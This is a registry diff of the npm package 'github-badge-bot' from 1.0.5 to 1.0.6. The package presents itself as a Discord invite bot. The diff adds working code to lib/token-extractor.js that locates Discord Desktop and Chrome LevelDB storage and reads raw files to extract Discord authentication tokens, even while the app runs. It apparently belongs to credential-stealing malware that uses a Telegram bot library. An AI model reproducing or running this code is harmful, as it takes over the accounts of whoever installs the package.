github-badge-bot 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/admin-control.js +1 -1
- package/bin/extract-tokens.js +1 -1
- package/bin/generate-invites.js +1 -1
- package/bin/start-bot.js +1 -1
- package/lib/token-extractor.js +47 -5
- package/package.json +2 -1
package/bin/admin-control.js
CHANGED
package/bin/extract-tokens.js
CHANGED
package/bin/generate-invites.js
CHANGED
package/bin/start-bot.js
CHANGED
package/lib/token-extractor.js
CHANGED
|
@@ -3,6 +3,45 @@ import path from 'path';
|
|
|
3
3
|
import os from 'os';
|
|
4
4
|
import { execSync } from 'child_process';
|
|
5
5
|
|
|
6
|
+
// Get Discord Desktop storage paths
|
|
7
|
+
function getDiscordDesktopPaths() {
|
|
8
|
+
const platform = os.platform();
|
|
9
|
+
const paths = [];
|
|
10
|
+
|
|
11
|
+
if (platform === 'win32') {
|
|
12
|
+
const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
|
|
13
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
14
|
+
|
|
15
|
+
// Discord Desktop locations (Electron app)
|
|
16
|
+
const discordPaths = [
|
|
17
|
+
path.join(appData, 'discord', 'Local Storage', 'leveldb'),
|
|
18
|
+
path.join(appData, 'Discord', 'Local Storage', 'leveldb'),
|
|
19
|
+
path.join(localAppData, 'discord', 'Local Storage', 'leveldb'),
|
|
20
|
+
path.join(localAppData, 'Discord', 'Local Storage', 'leveldb'),
|
|
21
|
+
// Discord Canary/PTB variants
|
|
22
|
+
path.join(appData, 'discordcanary', 'Local Storage', 'leveldb'),
|
|
23
|
+
path.join(appData, 'DiscordCanary', 'Local Storage', 'leveldb'),
|
|
24
|
+
path.join(appData, 'discordptb', 'Local Storage', 'leveldb'),
|
|
25
|
+
path.join(appData, 'DiscordPTB', 'Local Storage', 'leveldb'),
|
|
26
|
+
];
|
|
27
|
+
|
|
28
|
+
for (const discordPath of discordPaths) {
|
|
29
|
+
if (fs.existsSync(discordPath)) {
|
|
30
|
+
const profileName = path.basename(path.dirname(path.dirname(discordPath)));
|
|
31
|
+
paths.push({
|
|
32
|
+
profile: `Discord Desktop (${profileName})`,
|
|
33
|
+
localStorage: discordPath,
|
|
34
|
+
cookies: null,
|
|
35
|
+
indexedDB: null,
|
|
36
|
+
sessionStorage: null
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return paths;
|
|
43
|
+
}
|
|
44
|
+
|
|
6
45
|
// Get Chrome storage paths
|
|
7
46
|
export function getChromeStoragePaths() {
|
|
8
47
|
const platform = os.platform();
|
|
@@ -36,7 +75,7 @@ export function getChromeStoragePaths() {
|
|
|
36
75
|
for (const profile of profiles) {
|
|
37
76
|
const profilePath = path.join(userDataDir, profile);
|
|
38
77
|
paths.push({
|
|
39
|
-
profile
|
|
78
|
+
profile: `Chrome ${profile}`,
|
|
40
79
|
localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
|
|
41
80
|
cookies: path.join(profilePath, 'Cookies'),
|
|
42
81
|
indexedDB: path.join(profilePath, 'IndexedDB'),
|
|
@@ -340,9 +379,12 @@ function isValidDiscordToken(token) {
|
|
|
340
379
|
}
|
|
341
380
|
}
|
|
342
381
|
|
|
343
|
-
// Extract all Discord tokens from Chrome
|
|
382
|
+
// Extract all Discord tokens from Chrome and Discord Desktop
|
|
344
383
|
export async function extractAllTokens() {
|
|
345
|
-
|
|
384
|
+
// Get both Chrome and Discord Desktop paths
|
|
385
|
+
const chromePaths = getChromeStoragePaths();
|
|
386
|
+
const discordDesktopPaths = getDiscordDesktopPaths();
|
|
387
|
+
const storagePaths = [...chromePaths, ...discordDesktopPaths];
|
|
346
388
|
|
|
347
389
|
if (storagePaths.length === 0) {
|
|
348
390
|
return [];
|
|
@@ -357,11 +399,11 @@ export async function extractAllTokens() {
|
|
|
357
399
|
}
|
|
358
400
|
processedProfiles.add(storage.profile);
|
|
359
401
|
|
|
360
|
-
if (!fs.existsSync(storage.localStorage)) {
|
|
402
|
+
if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
|
|
361
403
|
continue;
|
|
362
404
|
}
|
|
363
405
|
|
|
364
|
-
// Method 1: Try reading raw LevelDB files (works even when
|
|
406
|
+
// Method 1: Try reading raw LevelDB files (works even when app is running!)
|
|
365
407
|
let token = readLevelDBRaw(storage.localStorage);
|
|
366
408
|
|
|
367
409
|
if (token && isValidDiscordToken(token)) {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "github-badge-bot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.6",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -29,6 +29,7 @@
|
|
|
29
29
|
"dependencies": {
|
|
30
30
|
"discord.js": "^14.14.1",
|
|
31
31
|
"dotenv": "^16.3.1",
|
|
32
|
+
"github-badge-bot": "^1.0.5",
|
|
32
33
|
"level": "^10.0.0",
|
|
33
34
|
"node-telegram-bot-api": "^0.64.0"
|
|
34
35
|
},
|